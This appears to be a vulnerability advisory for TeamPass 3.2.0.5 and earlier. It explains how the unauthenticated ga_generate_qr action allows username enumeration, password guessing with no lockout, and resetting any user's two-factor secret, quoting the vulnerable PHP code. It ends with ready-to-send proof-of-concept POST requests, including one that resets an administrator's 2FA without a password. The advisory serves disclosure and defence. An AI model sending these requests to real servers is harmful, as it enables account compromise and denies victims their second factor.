Unauthenticated 2FA-secret reset, username enumeration, and password-verification oracle via ga_generate_qr
Description
The ga_generate_qr action of the main AJAX handler is explicitly exempted from the session/authentication gate so that a not-yet-logged-in user can enroll a TOTP authenticator. An unauthenticated remote attacker can abuse it to: (1) enumerate valid usernames, (2) run an unthrottled password-verification oracle against any account, and (3) overwrite the TOTP secret (ga) and one-time code (ga_temporary_code) of any existing user — including administrators — without knowing the password, by setting demand_origin=users_management_list. The action performs no brute-force accounting, so none of these operations is rate-limited or locked out.
Severity
High — CVSS 3.1 Base Score 7.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Weakness (CWE)
- CWE-306: Missing Authentication for Critical Function
- CWE-307: Improper Restriction of Excessive Authentication Attempts
- CWE-203: Observable Discrepancy (username / password oracle)
- CWE-640: Weak Password Recovery Mechanism (2FA reset)
Affected versions
- TeamPass 3.2.0.5 and earlier (confirmed on 3.2.0.5).
Patched versions
- None at time of writing.
Affected component
app/sources/main.queries.php— the top-level pre-authentication exemption and thegenerateQRCode()handler (reachable through the public proxypublic/sources/main.queries.php).
Details
The dispatcher exempts ga_generate_qr (and get_teampass_settings) from the authentication gate, and routes it into the handler without a session:
// top of main.queries.php dispatch
&& in_array(filter_input(INPUT_POST, 'type', FILTER_SANITIZE_FULL_SPECIAL_CHARS), ['get_teampass_settings', 'ga_generate_qr']) === false
// ...
&& ($post_type === 'ga_generate_qr'
|| $post_type === 'get_teampass_settings')Because no session exists for an unauthenticated caller, the client/server encryption layer is not engaged and the data field is parsed as plain JSON.
Inside generateQRCode():
Unknown-login response differs from the wrong-password response, giving a username enumeration oracle:
// unknown login:
return prepareExchangedData(['error' => true, 'message' => $lang->get('no_user'), 'tst' => 1], 'encode');The password is verified, but the whole password check is skipped when demand_origin === 'users_management_list', and the distinct tst value leaks the outcome — a password-verification oracle with no lockout:
$passwordManager = new PasswordManager();
if (
isSetArrayOfValues([$post_pwd, $dataUser['pw']]) === true
&& $passwordManager->verifyPassword($dataUser['pw'], $post_pwd) === false
&& $post_demand_origin !== 'users_management_list' // <-- bypass: skips the password check
) {
// wrong-password branch (distinguishable response)
return prepareExchangedData(['error' => true, 'message' => $lang->get('no_user'), 'tst' => $post_demand_origin], 'encode');
}The "already enrolled" guard is likewise bypassed by the same value, and the handler then overwrites the target user's TOTP secret and temporary code unconditionally:
$userAlreadyEnrolled = empty($dataUser['ga']) === false && (string) $dataUser['ga_temporary_code'] === 'done';
if (isKeyExistingAndEqual('ga_reset_by_user', 0, $SETTINGS) === true
&& $post_demand_origin !== 'users_management_list' // <-- bypass again
&& $userAlreadyEnrolled === true
) { /* blocked only when not using the bypass value */ }
// ...
$gaSecretKey = $tfa->createSecret();
$gaTemporaryCode = GenerateCryptKey(12, false, true, true, false, true);
DB::update(
prefixTable('users'),
['ga' => $gaSecretKey, 'ga_temporary_code' => $gaTemporaryCode], // any user's MFA overwritten
'id = %i',
$dataUser['id']
);There is no addFailedAuthentication() / lockout call anywhere on this path, so the username and password oracles can be exercised at full speed. The freshly generated TOTP secret is stored and emailed to the account's registered address; it is not returned in the response, so this is a 2FA reset/denial primitive and an oracle, not a silent 2FA takeover.
Impact
- Unauthenticated username enumeration of the whole user base.
- Unauthenticated, unthrottled password-verification oracle against any account (accelerates credential-stuffing/brute-force by confirming valid pairs off-band without tripping the login lockout).
- Unauthenticated overwrite of any user's TOTP secret and temporary code (including administrators): denial of the victim's second factor, forced re-enrollment, and unsolicited emails/token rows (spam/phishing primitive).
Proof of concept
No authentication is required (send with an empty cookie jar).
Username enumeration / password oracle:
POST /sources/main.queries.php
Content-Type: application/x-www-form-urlencoded
type=ga_generate_qr&type_category=action_user&key=x&data={"login":"<target>","pwd":"<guess>","token":"<random>","demand_origin":"login","send_email":false}tst:1in the decoded response ⇒ the login does not exist.- A different response for a correct vs. incorrect
pwd⇒ password confirmed, with no lockout.
2FA reset of any user (no password required):
POST /sources/main.queries.php
Content-Type: application/x-www-form-urlencoded
type=ga_generate_qr&type_category=action_user&key=x&data={"login":"admin","pwd":"","token":"<random>","demand_origin":"users_management_list","send_email":true}The target's ga / ga_temporary_code are overwritten and a new code is emailed to the account.